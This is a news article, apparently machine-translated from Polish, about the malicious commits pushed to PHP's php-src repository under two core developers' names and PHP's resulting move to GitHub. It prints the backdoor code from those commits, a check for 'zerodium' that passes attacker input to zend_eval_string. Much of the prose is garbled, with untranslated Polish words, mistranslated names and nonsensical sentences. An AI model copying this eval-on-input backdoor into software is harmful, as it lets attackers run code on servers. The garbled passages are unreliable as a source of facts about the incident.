PHP developers decided on a complete transition to the GitHuba

PHP developers decided on a complete transition to the GitHuba

The PHP developers recently decided that their repositories on Github, which existed until now, as a copy will now canonical. This decision is a result of the incident, which was to send a two malicious commitów in the repository php-src. Someone podszył under their savings Lerdorfa and Nikita Popov, two leading PHP developers. Moreover, all points to the fact that the attack was carried out on the entire server git.php.netand not in a separate account git.

The developers came to the conclusion that the maintenance of its infrastructure git creates an unnecessary security risk. Instead of supporting the previously mentioned server, it was decided to the transfer PHP GitHuba – this means that all changes will go there, and not to

Previously, the access guaranteed storage system created in PHP called Karma. Now, however, you will need to be part of an organization on Github PHP. If someone does not have access to some kind of store it is Nikita Popov offers help in this regard, and recommends that you contact e –

Here it is also worth noting that the affiliation PHP on Github requires permission to authentication multi-level.

As for the attack, the creators are exploring is not yet understood and is still little known. View, however, some facts and see what could happen.

The attack on

From what is said here can lead to that the whole story came out in the moment when Markus Staab, Jake Birchallf, Michael Voříšek and others began to explore the suspect commits that were made on 27 March. The first commit was supposed to fix a specific error that was made using the account of their savings Lerdorfa. The second commit was, in turn, to a reversal of the previous repair made by his posing as Nikita Popov.

Both commits have added the following code:

	if (strstr(Z_STRVAL_P(enc), "zerodium")) {
		zend_try {
			zend_eval_string(Z_STRVAL_P(enc)+8, NULL, "REMOVETHIS: sold to zerodium, mid 2017");

Was it an attempt to do something great? HD Moore, the co-founder and CEO of Rumble platform for discovery of network devices, says that it is possible to assume that someone just wanted to boast that he was able to gain unauthorized access to the server, PHP, Git. The attack could be just a joke. Importantly, the situation gave the PHP developers to think!

What Zerodium? This is a company that gets feats from various researchers and sells it to the government so that they can use in their investigations or other actions. Chaouki Bekrar, CEO of this organization, said on Twitter that his company had nothing to do with the above commitami.

Here is his tweet:


PHP currently, about 80% of all the websites we can read it here. However, there are no reports that any of them were malicious code.

If we are talking about the same transition to GitHuba is the same, from the latest version does only Java, but from other motives. However, you can ask yourself the following question: can the GitHub will become the new standard, if we are talking about the preservation and development of programming languages?

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